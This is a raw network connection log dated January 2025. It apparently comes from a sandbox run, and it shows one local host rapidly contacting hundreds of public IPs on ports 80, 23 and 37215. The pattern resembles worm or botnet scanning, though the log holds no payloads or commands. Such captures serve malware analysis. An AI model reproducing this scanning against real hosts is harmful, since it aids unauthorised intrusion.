Jan 30, 2025 10:43:04.395440102 CET	39484	80	192.168.2.14	167.137.151.25
Jan 30, 2025 10:43:04.400382042 CET	80	44670	206.244.102.161	192.168.2.14
Jan 30, 2025 10:43:04.400393009 CET	23	57978	169.223.194.34	192.168.2.14
Jan 30, 2025 10:43:04.400403023 CET	80	33274	202.243.9.93	192.168.2.14
Jan 30, 2025 10:43:04.400437117 CET	44670	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:04.400451899 CET	57978	23	192.168.2.14	169.223.194.34
Jan 30, 2025 10:43:04.400485992 CET	33274	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:04.400645018 CET	44670	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:04.400657892 CET	44670	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:04.401026011 CET	45050	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:04.401360989 CET	33274	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:04.401381016 CET	33274	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:04.401622057 CET	33646	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:04.405760050 CET	80	44670	206.244.102.161	192.168.2.14
Jan 30, 2025 10:43:04.406100988 CET	80	45050	206.244.102.161	192.168.2.14
Jan 30, 2025 10:43:04.406152964 CET	45050	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:04.406183004 CET	45050	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:04.406266928 CET	80	33274	202.243.9.93	192.168.2.14
Jan 30, 2025 10:43:04.411421061 CET	80	45050	206.244.102.161	192.168.2.14
Jan 30, 2025 10:43:04.411468029 CET	45050	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:04.427182913 CET	51028	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:04.427189112 CET	45120	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:04.427217007 CET	40908	80	192.168.2.14	144.85.7.196
Jan 30, 2025 10:43:04.427238941 CET	47072	80	192.168.2.14	142.123.19.80
Jan 30, 2025 10:43:04.427257061 CET	57740	80	192.168.2.14	17.134.11.14
Jan 30, 2025 10:43:04.427268028 CET	54868	80	192.168.2.14	212.146.212.212
Jan 30, 2025 10:43:04.427304983 CET	55342	80	192.168.2.14	169.134.77.237
Jan 30, 2025 10:43:04.427308083 CET	34978	80	192.168.2.14	19.48.24.237
Jan 30, 2025 10:43:04.431977034 CET	80	51028	135.121.243.76	192.168.2.14
Jan 30, 2025 10:43:04.431999922 CET	80	45120	119.27.8.73	192.168.2.14
Jan 30, 2025 10:43:04.432069063 CET	51028	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:04.432091951 CET	45120	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:04.432200909 CET	51028	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:04.432215929 CET	51028	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:04.432683945 CET	51356	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:04.433074951 CET	45120	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:04.433075905 CET	45120	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:04.433382034 CET	45448	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:04.436952114 CET	80	51028	135.121.243.76	192.168.2.14
Jan 30, 2025 10:43:04.437469006 CET	80	51356	135.121.243.76	192.168.2.14
Jan 30, 2025 10:43:04.437522888 CET	51356	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:04.437546015 CET	51356	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:04.437892914 CET	80	45120	119.27.8.73	192.168.2.14
Jan 30, 2025 10:43:04.442729950 CET	80	51356	135.121.243.76	192.168.2.14
Jan 30, 2025 10:43:04.442797899 CET	51356	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:04.447758913 CET	80	33274	202.243.9.93	192.168.2.14
Jan 30, 2025 10:43:04.447770119 CET	80	44670	206.244.102.161	192.168.2.14
Jan 30, 2025 10:43:04.459188938 CET	41976	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:04.459208965 CET	49098	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:04.459216118 CET	36970	80	192.168.2.14	207.173.216.199
Jan 30, 2025 10:43:04.459227085 CET	57084	80	192.168.2.14	151.165.83.172
Jan 30, 2025 10:43:04.459245920 CET	34288	80	192.168.2.14	148.70.250.60
Jan 30, 2025 10:43:04.459256887 CET	45372	80	192.168.2.14	69.179.37.238
Jan 30, 2025 10:43:04.459274054 CET	51310	80	192.168.2.14	79.203.84.48
Jan 30, 2025 10:43:04.459280014 CET	52646	80	192.168.2.14	206.228.21.107
Jan 30, 2025 10:43:04.459297895 CET	47400	80	192.168.2.14	113.148.146.197
Jan 30, 2025 10:43:04.459307909 CET	40308	80	192.168.2.14	69.152.33.44
Jan 30, 2025 10:43:04.459327936 CET	39098	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:04.459350109 CET	44294	80	192.168.2.14	67.120.157.5
Jan 30, 2025 10:43:04.459357023 CET	60160	80	192.168.2.14	144.10.187.85
Jan 30, 2025 10:43:04.459357023 CET	54522	80	192.168.2.14	135.235.146.195
Jan 30, 2025 10:43:04.459377050 CET	39700	80	192.168.2.14	207.195.50.93
Jan 30, 2025 10:43:04.459394932 CET	38300	80	192.168.2.14	172.66.73.190
Jan 30, 2025 10:43:04.459402084 CET	42682	80	192.168.2.14	85.67.211.58
Jan 30, 2025 10:43:04.459424973 CET	57884	80	192.168.2.14	182.44.1.128
Jan 30, 2025 10:43:04.459424973 CET	43468	80	192.168.2.14	107.251.13.205
Jan 30, 2025 10:43:04.459424973 CET	41782	80	192.168.2.14	17.226.211.55
Jan 30, 2025 10:43:04.464329958 CET	80	41976	32.243.4.33	192.168.2.14
Jan 30, 2025 10:43:04.464342117 CET	80	49098	219.124.101.191	192.168.2.14
Jan 30, 2025 10:43:04.464448929 CET	41976	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:04.464448929 CET	49098	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:04.464471102 CET	80	39098	91.92.249.234	192.168.2.14
Jan 30, 2025 10:43:04.464494944 CET	41976	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:04.464494944 CET	41976	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:04.464524031 CET	39098	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:04.464834929 CET	42280	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:04.465229034 CET	49098	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:04.465229034 CET	49098	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:04.465826988 CET	49402	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:04.466623068 CET	39098	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:04.466623068 CET	39098	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:04.467633963 CET	39384	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:04.469403982 CET	80	41976	32.243.4.33	192.168.2.14
Jan 30, 2025 10:43:04.470086098 CET	80	49098	219.124.101.191	192.168.2.14
Jan 30, 2025 10:43:04.471754074 CET	80	39098	91.92.249.234	192.168.2.14
Jan 30, 2025 10:43:04.479918957 CET	80	45120	119.27.8.73	192.168.2.14
Jan 30, 2025 10:43:04.479943991 CET	80	51028	135.121.243.76	192.168.2.14
Jan 30, 2025 10:43:04.491168022 CET	34930	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:04.491168022 CET	55006	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:04.491175890 CET	45116	80	192.168.2.14	212.143.140.222
Jan 30, 2025 10:43:04.491174936 CET	58008	80	192.168.2.14	90.51.118.137
Jan 30, 2025 10:43:04.491195917 CET	56812	80	192.168.2.14	124.170.78.40
Jan 30, 2025 10:43:04.491198063 CET	57428	80	192.168.2.14	120.23.138.222
Jan 30, 2025 10:43:04.491199017 CET	54830	80	192.168.2.14	130.219.127.143
Jan 30, 2025 10:43:04.491218090 CET	34226	80	192.168.2.14	70.171.35.104
Jan 30, 2025 10:43:04.491220951 CET	37236	80	192.168.2.14	196.3.191.224
Jan 30, 2025 10:43:04.491224051 CET	58518	80	192.168.2.14	133.153.249.33
Jan 30, 2025 10:43:04.491225958 CET	33814	80	192.168.2.14	198.151.162.206
Jan 30, 2025 10:43:04.491225958 CET	50600	80	192.168.2.14	90.64.6.63
Jan 30, 2025 10:43:04.491226912 CET	39100	80	192.168.2.14	154.164.115.164
Jan 30, 2025 10:43:04.491225958 CET	60374	80	192.168.2.14	155.198.4.108
Jan 30, 2025 10:43:04.491251945 CET	36424	80	192.168.2.14	103.213.214.129
Jan 30, 2025 10:43:04.491251945 CET	46024	80	192.168.2.14	161.80.48.54
Jan 30, 2025 10:43:04.491256952 CET	57970	80	192.168.2.14	95.58.145.95
Jan 30, 2025 10:43:04.491256952 CET	48150	80	192.168.2.14	14.190.218.71
Jan 30, 2025 10:43:04.496046066 CET	80	34930	50.174.166.7	192.168.2.14
Jan 30, 2025 10:43:04.496057034 CET	80	55006	73.211.22.163	192.168.2.14
Jan 30, 2025 10:43:04.496121883 CET	34930	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:04.496121883 CET	55006	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:04.496161938 CET	55006	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:04.496220112 CET	34930	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:04.496220112 CET	34930	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:04.496602058 CET	35188	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:04.500967026 CET	80	34930	50.174.166.7	192.168.2.14
Jan 30, 2025 10:43:04.501400948 CET	80	35188	50.174.166.7	192.168.2.14
Jan 30, 2025 10:43:04.501449108 CET	35188	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:04.501473904 CET	35188	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:04.501517057 CET	80	55006	73.211.22.163	192.168.2.14
Jan 30, 2025 10:43:04.501562119 CET	55006	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:04.506627083 CET	80	35188	50.174.166.7	192.168.2.14
Jan 30, 2025 10:43:04.506674051 CET	35188	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:04.511756897 CET	80	41976	32.243.4.33	192.168.2.14
Jan 30, 2025 10:43:04.515738010 CET	80	39098	91.92.249.234	192.168.2.14
Jan 30, 2025 10:43:04.515748024 CET	80	49098	219.124.101.191	192.168.2.14
Jan 30, 2025 10:43:04.545332909 CET	80	34930	50.174.166.7	192.168.2.14
Jan 30, 2025 10:43:05.131253004 CET	33328	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:05.136240005 CET	37215	33328	197.71.120.86	192.168.2.14
Jan 30, 2025 10:43:05.136346102 CET	33328	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:05.136450052 CET	60295	37215	192.168.2.14	197.166.29.215
Jan 30, 2025 10:43:05.136456966 CET	60295	37215	192.168.2.14	197.112.143.30
Jan 30, 2025 10:43:05.136456966 CET	60295	37215	192.168.2.14	41.114.15.245
Jan 30, 2025 10:43:05.136457920 CET	60295	37215	192.168.2.14	41.34.203.247
Jan 30, 2025 10:43:05.136471033 CET	60295	37215	192.168.2.14	197.246.177.244
Jan 30, 2025 10:43:05.136471033 CET	60295	37215	192.168.2.14	197.255.24.121
Jan 30, 2025 10:43:05.136487961 CET	60295	37215	192.168.2.14	197.222.57.125
Jan 30, 2025 10:43:05.136490107 CET	60295	37215	192.168.2.14	156.12.1.123
Jan 30, 2025 10:43:05.136490107 CET	60295	37215	192.168.2.14	197.85.230.163
Jan 30, 2025 10:43:05.136491060 CET	60295	37215	192.168.2.14	156.168.206.187
Jan 30, 2025 10:43:05.136512041 CET	60295	37215	192.168.2.14	156.101.143.7
Jan 30, 2025 10:43:05.136512041 CET	60295	37215	192.168.2.14	156.49.160.210
Jan 30, 2025 10:43:05.136513948 CET	60295	37215	192.168.2.14	41.145.140.95
Jan 30, 2025 10:43:05.136514902 CET	60295	37215	192.168.2.14	156.205.76.137
Jan 30, 2025 10:43:05.136522055 CET	60295	37215	192.168.2.14	156.176.204.203
Jan 30, 2025 10:43:05.136522055 CET	60295	37215	192.168.2.14	41.9.104.66
Jan 30, 2025 10:43:05.136522055 CET	60295	37215	192.168.2.14	41.170.243.221
Jan 30, 2025 10:43:05.136538029 CET	60295	37215	192.168.2.14	197.146.199.69
Jan 30, 2025 10:43:05.136538029 CET	60295	37215	192.168.2.14	156.188.76.253
Jan 30, 2025 10:43:05.136539936 CET	60295	37215	192.168.2.14	41.92.78.36
Jan 30, 2025 10:43:05.136539936 CET	60295	37215	192.168.2.14	156.62.186.243
Jan 30, 2025 10:43:05.136569023 CET	60295	37215	192.168.2.14	156.223.162.115
Jan 30, 2025 10:43:05.136569023 CET	60295	37215	192.168.2.14	197.218.48.207
Jan 30, 2025 10:43:05.136569023 CET	60295	37215	192.168.2.14	41.222.7.4
Jan 30, 2025 10:43:05.136569023 CET	60295	37215	192.168.2.14	41.4.251.105
Jan 30, 2025 10:43:05.136574984 CET	60295	37215	192.168.2.14	197.131.146.76
Jan 30, 2025 10:43:05.136574984 CET	60295	37215	192.168.2.14	197.110.51.134
Jan 30, 2025 10:43:05.136575937 CET	60295	37215	192.168.2.14	156.109.224.118
Jan 30, 2025 10:43:05.136574984 CET	60295	37215	192.168.2.14	156.114.126.218
Jan 30, 2025 10:43:05.136578083 CET	60295	37215	192.168.2.14	197.198.112.4
Jan 30, 2025 10:43:05.136578083 CET	60295	37215	192.168.2.14	156.231.189.227
Jan 30, 2025 10:43:05.136578083 CET	60295	37215	192.168.2.14	41.54.187.227
Jan 30, 2025 10:43:05.136607885 CET	60295	37215	192.168.2.14	41.13.157.95
Jan 30, 2025 10:43:05.136607885 CET	60295	37215	192.168.2.14	156.198.242.132
Jan 30, 2025 10:43:05.136607885 CET	60295	37215	192.168.2.14	197.251.136.165
Jan 30, 2025 10:43:05.136607885 CET	60295	37215	192.168.2.14	41.176.2.6
Jan 30, 2025 10:43:05.136634111 CET	60295	37215	192.168.2.14	197.29.87.86
Jan 30, 2025 10:43:05.136634111 CET	60295	37215	192.168.2.14	156.242.29.176
Jan 30, 2025 10:43:05.136634111 CET	60295	37215	192.168.2.14	41.88.128.241
Jan 30, 2025 10:43:05.136634111 CET	60295	37215	192.168.2.14	197.52.214.98
Jan 30, 2025 10:43:05.136634111 CET	60295	37215	192.168.2.14	197.30.16.70
Jan 30, 2025 10:43:05.136636019 CET	60295	37215	192.168.2.14	197.228.116.148
Jan 30, 2025 10:43:05.136634111 CET	60295	37215	192.168.2.14	156.71.177.132
Jan 30, 2025 10:43:05.136636019 CET	60295	37215	192.168.2.14	156.125.188.55
Jan 30, 2025 10:43:05.136636972 CET	60295	37215	192.168.2.14	197.187.252.60
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	41.116.235.188
Jan 30, 2025 10:43:05.136636972 CET	60295	37215	192.168.2.14	156.95.110.178
Jan 30, 2025 10:43:05.136639118 CET	60295	37215	192.168.2.14	197.132.120.210
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	197.99.4.5
Jan 30, 2025 10:43:05.136639118 CET	60295	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	197.171.42.12
Jan 30, 2025 10:43:05.136639118 CET	60295	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	156.84.109.79
Jan 30, 2025 10:43:05.136639118 CET	60295	37215	192.168.2.14	41.0.140.63
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:05.136640072 CET	60295	37215	192.168.2.14	197.62.59.49
Jan 30, 2025 10:43:05.136636019 CET	60295	37215	192.168.2.14	41.76.165.182
Jan 30, 2025 10:43:05.136640072 CET	60295	37215	192.168.2.14	41.63.44.18
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	41.255.177.91
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	156.239.200.141
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	41.228.190.247
Jan 30, 2025 10:43:05.136636019 CET	60295	37215	192.168.2.14	41.47.225.28
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	197.2.254.23
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	197.63.122.128
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	156.42.154.143
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	197.141.218.188
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	197.25.18.252
Jan 30, 2025 10:43:05.136637926 CET	60295	37215	192.168.2.14	156.164.49.224
Jan 30, 2025 10:43:05.136661053 CET	60295	37215	192.168.2.14	197.38.130.175
Jan 30, 2025 10:43:05.136661053 CET	60295	37215	192.168.2.14	197.16.128.125
Jan 30, 2025 10:43:05.136661053 CET	60295	37215	192.168.2.14	156.227.72.239
Jan 30, 2025 10:43:05.136662006 CET	60295	37215	192.168.2.14	156.189.37.153
Jan 30, 2025 10:43:05.136662006 CET	60295	37215	192.168.2.14	41.1.247.86
Jan 30, 2025 10:43:05.136672974 CET	60295	37215	192.168.2.14	197.106.138.15
Jan 30, 2025 10:43:05.136672974 CET	60295	37215	192.168.2.14	156.253.114.91
Jan 30, 2025 10:43:05.136672974 CET	60295	37215	192.168.2.14	156.181.41.135
Jan 30, 2025 10:43:05.136672974 CET	60295	37215	192.168.2.14	156.63.212.22
Jan 30, 2025 10:43:05.136677980 CET	60295	37215	192.168.2.14	197.253.164.197
Jan 30, 2025 10:43:05.136677980 CET	60295	37215	192.168.2.14	197.32.144.162
Jan 30, 2025 10:43:05.136677980 CET	60295	37215	192.168.2.14	41.219.31.246
Jan 30, 2025 10:43:05.136677980 CET	60295	37215	192.168.2.14	156.61.175.163
Jan 30, 2025 10:43:05.136679888 CET	60295	37215	192.168.2.14	156.122.165.44
Jan 30, 2025 10:43:05.136679888 CET	60295	37215	192.168.2.14	156.147.130.130
Jan 30, 2025 10:43:05.136687040 CET	60295	37215	192.168.2.14	197.147.132.252
Jan 30, 2025 10:43:05.136688948 CET	60295	37215	192.168.2.14	41.34.9.209
Jan 30, 2025 10:43:05.136688948 CET	60295	37215	192.168.2.14	41.232.84.106
Jan 30, 2025 10:43:05.136693001 CET	60295	37215	192.168.2.14	41.23.21.73
Jan 30, 2025 10:43:05.136688948 CET	60295	37215	192.168.2.14	156.170.158.43
Jan 30, 2025 10:43:05.136689901 CET	60295	37215	192.168.2.14	41.125.139.183
Jan 30, 2025 10:43:05.136688948 CET	60295	37215	192.168.2.14	197.9.224.155
Jan 30, 2025 10:43:05.136696100 CET	60295	37215	192.168.2.14	197.40.112.94
Jan 30, 2025 10:43:05.136689901 CET	60295	37215	192.168.2.14	156.235.125.60
Jan 30, 2025 10:43:05.136696100 CET	60295	37215	192.168.2.14	41.164.43.93
Jan 30, 2025 10:43:05.136689901 CET	60295	37215	192.168.2.14	197.100.90.187
Jan 30, 2025 10:43:05.136698961 CET	60295	37215	192.168.2.14	41.175.160.214
Jan 30, 2025 10:43:05.136689901 CET	60295	37215	192.168.2.14	197.155.105.152
Jan 30, 2025 10:43:05.136696100 CET	60295	37215	192.168.2.14	41.191.185.203
Jan 30, 2025 10:43:05.136693001 CET	60295	37215	192.168.2.14	197.125.144.56
Jan 30, 2025 10:43:05.136706114 CET	60295	37215	192.168.2.14	197.84.221.253
Jan 30, 2025 10:43:05.136698961 CET	60295	37215	192.168.2.14	156.121.240.48
Jan 30, 2025 10:43:05.136689901 CET	60295	37215	192.168.2.14	156.170.128.98
Jan 30, 2025 10:43:05.136696100 CET	60295	37215	192.168.2.14	156.27.101.37
Jan 30, 2025 10:43:05.136693001 CET	60295	37215	192.168.2.14	41.224.0.111
Jan 30, 2025 10:43:05.136696100 CET	60295	37215	192.168.2.14	41.153.195.173
Jan 30, 2025 10:43:05.136698961 CET	60295	37215	192.168.2.14	41.10.167.249
Jan 30, 2025 10:43:05.136693001 CET	60295	37215	192.168.2.14	197.76.2.57
Jan 30, 2025 10:43:05.136708975 CET	60295	37215	192.168.2.14	41.233.214.53
Jan 30, 2025 10:43:05.136693001 CET	60295	37215	192.168.2.14	41.124.116.221
Jan 30, 2025 10:43:05.136696100 CET	60295	37215	192.168.2.14	41.167.219.172
Jan 30, 2025 10:43:05.136693001 CET	60295	37215	192.168.2.14	156.90.236.231
Jan 30, 2025 10:43:05.136696100 CET	60295	37215	192.168.2.14	156.242.129.162
Jan 30, 2025 10:43:05.136696100 CET	60295	37215	192.168.2.14	41.199.89.19
Jan 30, 2025 10:43:05.136696100 CET	60295	37215	192.168.2.14	197.183.204.98
Jan 30, 2025 10:43:05.136720896 CET	60295	37215	192.168.2.14	156.151.167.209
Jan 30, 2025 10:43:05.136722088 CET	60295	37215	192.168.2.14	41.72.244.175
Jan 30, 2025 10:43:05.136722088 CET	60295	37215	192.168.2.14	156.92.197.124
Jan 30, 2025 10:43:05.136722088 CET	60295	37215	192.168.2.14	156.212.36.86
Jan 30, 2025 10:43:05.136734962 CET	60295	37215	192.168.2.14	41.5.96.198
Jan 30, 2025 10:43:05.136734962 CET	60295	37215	192.168.2.14	41.96.57.116
Jan 30, 2025 10:43:05.136735916 CET	60295	37215	192.168.2.14	197.155.250.7
Jan 30, 2025 10:43:05.136734962 CET	60295	37215	192.168.2.14	197.19.137.228
Jan 30, 2025 10:43:05.136734962 CET	60295	37215	192.168.2.14	41.171.255.8
Jan 30, 2025 10:43:05.136738062 CET	60295	37215	192.168.2.14	197.59.106.59
Jan 30, 2025 10:43:05.136738062 CET	60295	37215	192.168.2.14	197.101.152.179
Jan 30, 2025 10:43:05.136745930 CET	60295	37215	192.168.2.14	197.217.214.216
Jan 30, 2025 10:43:05.136753082 CET	60295	37215	192.168.2.14	197.179.52.174
Jan 30, 2025 10:43:05.136758089 CET	60295	37215	192.168.2.14	156.219.60.97
Jan 30, 2025 10:43:05.136760950 CET	60295	37215	192.168.2.14	156.141.245.12
Jan 30, 2025 10:43:05.136771917 CET	60295	37215	192.168.2.14	41.13.114.197
Jan 30, 2025 10:43:05.136771917 CET	60295	37215	192.168.2.14	156.117.210.93
Jan 30, 2025 10:43:05.136785030 CET	60295	37215	192.168.2.14	41.28.101.22
Jan 30, 2025 10:43:05.136792898 CET	60295	37215	192.168.2.14	197.117.31.123
Jan 30, 2025 10:43:05.136792898 CET	60295	37215	192.168.2.14	197.175.54.205
Jan 30, 2025 10:43:05.136795044 CET	60295	37215	192.168.2.14	41.74.255.115
Jan 30, 2025 10:43:05.136797905 CET	60295	37215	192.168.2.14	156.205.200.187
Jan 30, 2025 10:43:05.136815071 CET	60295	37215	192.168.2.14	41.138.223.204
Jan 30, 2025 10:43:05.136816025 CET	60295	37215	192.168.2.14	41.82.245.105
Jan 30, 2025 10:43:05.136816025 CET	60295	37215	192.168.2.14	41.132.46.214
Jan 30, 2025 10:43:05.136816025 CET	60295	37215	192.168.2.14	41.198.148.81
Jan 30, 2025 10:43:05.136831045 CET	60295	37215	192.168.2.14	156.54.124.160
Jan 30, 2025 10:43:05.136831045 CET	60295	37215	192.168.2.14	41.40.135.98
Jan 30, 2025 10:43:05.136841059 CET	60295	37215	192.168.2.14	197.159.140.136
Jan 30, 2025 10:43:05.136841059 CET	60295	37215	192.168.2.14	197.1.242.97
Jan 30, 2025 10:43:05.136842012 CET	60295	37215	192.168.2.14	197.197.137.85
Jan 30, 2025 10:43:05.136858940 CET	60295	37215	192.168.2.14	197.45.135.197
Jan 30, 2025 10:43:05.136864901 CET	60295	37215	192.168.2.14	197.136.150.169
Jan 30, 2025 10:43:05.136868000 CET	60295	37215	192.168.2.14	41.211.196.240
Jan 30, 2025 10:43:05.136881113 CET	60295	37215	192.168.2.14	41.46.46.20
Jan 30, 2025 10:43:05.136882067 CET	60295	37215	192.168.2.14	41.100.27.68
Jan 30, 2025 10:43:05.136885881 CET	60295	37215	192.168.2.14	197.27.129.186
Jan 30, 2025 10:43:05.136897087 CET	60295	37215	192.168.2.14	197.234.245.255
Jan 30, 2025 10:43:05.136898041 CET	60295	37215	192.168.2.14	156.1.253.13
Jan 30, 2025 10:43:05.136907101 CET	60295	37215	192.168.2.14	156.224.86.188
Jan 30, 2025 10:43:05.136908054 CET	60295	37215	192.168.2.14	41.48.220.2
Jan 30, 2025 10:43:05.136924028 CET	60295	37215	192.168.2.14	197.56.104.18
Jan 30, 2025 10:43:05.136928082 CET	60295	37215	192.168.2.14	41.22.8.183
Jan 30, 2025 10:43:05.136943102 CET	60295	37215	192.168.2.14	197.213.174.156
Jan 30, 2025 10:43:05.136944056 CET	60295	37215	192.168.2.14	197.235.127.0
Jan 30, 2025 10:43:05.136945009 CET	60295	37215	192.168.2.14	197.34.81.61
Jan 30, 2025 10:43:05.136956930 CET	60295	37215	192.168.2.14	197.133.250.17
Jan 30, 2025 10:43:05.136956930 CET	60295	37215	192.168.2.14	41.104.144.1
Jan 30, 2025 10:43:05.136959076 CET	60295	37215	192.168.2.14	156.121.6.50
Jan 30, 2025 10:43:05.136976957 CET	60295	37215	192.168.2.14	156.100.221.174
Jan 30, 2025 10:43:05.136984110 CET	60295	37215	192.168.2.14	41.65.27.145
Jan 30, 2025 10:43:05.136992931 CET	60295	37215	192.168.2.14	197.251.60.241
Jan 30, 2025 10:43:05.136993885 CET	60295	37215	192.168.2.14	197.118.37.235
Jan 30, 2025 10:43:05.136993885 CET	60295	37215	192.168.2.14	197.85.126.194
Jan 30, 2025 10:43:05.136996031 CET	60295	37215	192.168.2.14	41.114.211.30
Jan 30, 2025 10:43:05.137006044 CET	60295	37215	192.168.2.14	156.121.58.31
Jan 30, 2025 10:43:05.137012959 CET	60295	37215	192.168.2.14	156.63.236.243
Jan 30, 2025 10:43:05.137016058 CET	60295	37215	192.168.2.14	156.53.173.230
Jan 30, 2025 10:43:05.137018919 CET	60295	37215	192.168.2.14	156.158.34.65
Jan 30, 2025 10:43:05.137020111 CET	60295	37215	192.168.2.14	41.48.21.88
Jan 30, 2025 10:43:05.137026072 CET	60295	37215	192.168.2.14	197.106.186.218
Jan 30, 2025 10:43:05.137042046 CET	60295	37215	192.168.2.14	197.115.123.68
Jan 30, 2025 10:43:05.137043953 CET	60295	37215	192.168.2.14	197.117.90.130
Jan 30, 2025 10:43:05.137044907 CET	60295	37215	192.168.2.14	156.164.248.9
Jan 30, 2025 10:43:05.137053013 CET	60295	37215	192.168.2.14	197.131.98.156
Jan 30, 2025 10:43:05.137064934 CET	60295	37215	192.168.2.14	41.97.216.254
Jan 30, 2025 10:43:05.137070894 CET	60295	37215	192.168.2.14	197.217.54.206
Jan 30, 2025 10:43:05.137075901 CET	60295	37215	192.168.2.14	41.210.68.219
Jan 30, 2025 10:43:05.137089014 CET	60295	37215	192.168.2.14	156.255.93.227
Jan 30, 2025 10:43:05.137089014 CET	60295	37215	192.168.2.14	41.123.205.175
Jan 30, 2025 10:43:05.137089968 CET	60295	37215	192.168.2.14	197.67.95.91
Jan 30, 2025 10:43:05.137089014 CET	60295	37215	192.168.2.14	41.119.231.229
Jan 30, 2025 10:43:05.137108088 CET	60295	37215	192.168.2.14	197.147.145.70
Jan 30, 2025 10:43:05.137109041 CET	60295	37215	192.168.2.14	41.48.252.95
Jan 30, 2025 10:43:05.137120962 CET	60295	37215	192.168.2.14	156.22.240.189
Jan 30, 2025 10:43:05.137134075 CET	60295	37215	192.168.2.14	156.214.231.230
Jan 30, 2025 10:43:05.137134075 CET	60295	37215	192.168.2.14	156.181.72.210
Jan 30, 2025 10:43:05.137134075 CET	60295	37215	192.168.2.14	156.180.110.196
Jan 30, 2025 10:43:05.137137890 CET	60295	37215	192.168.2.14	197.145.105.70
Jan 30, 2025 10:43:05.137137890 CET	60295	37215	192.168.2.14	197.179.18.46
Jan 30, 2025 10:43:05.137146950 CET	60295	37215	192.168.2.14	41.43.61.238
Jan 30, 2025 10:43:05.137159109 CET	60295	37215	192.168.2.14	41.249.243.234
Jan 30, 2025 10:43:05.137159109 CET	60295	37215	192.168.2.14	156.111.169.152
Jan 30, 2025 10:43:05.137160063 CET	60295	37215	192.168.2.14	197.219.181.135
Jan 30, 2025 10:43:05.137168884 CET	60295	37215	192.168.2.14	41.147.171.156
Jan 30, 2025 10:43:05.137170076 CET	60295	37215	192.168.2.14	197.81.238.127
Jan 30, 2025 10:43:05.137181997 CET	60295	37215	192.168.2.14	41.87.207.130
Jan 30, 2025 10:43:05.137188911 CET	60295	37215	192.168.2.14	41.176.150.213
Jan 30, 2025 10:43:05.137188911 CET	60295	37215	192.168.2.14	41.229.92.145
Jan 30, 2025 10:43:05.137188911 CET	60295	37215	192.168.2.14	41.133.237.132
Jan 30, 2025 10:43:05.137202978 CET	60295	37215	192.168.2.14	41.224.125.188
Jan 30, 2025 10:43:05.137206078 CET	60295	37215	192.168.2.14	41.47.167.253
Jan 30, 2025 10:43:05.137219906 CET	60295	37215	192.168.2.14	197.58.130.251
Jan 30, 2025 10:43:05.137228966 CET	60295	37215	192.168.2.14	41.116.248.144
Jan 30, 2025 10:43:05.137229919 CET	60295	37215	192.168.2.14	41.223.96.230
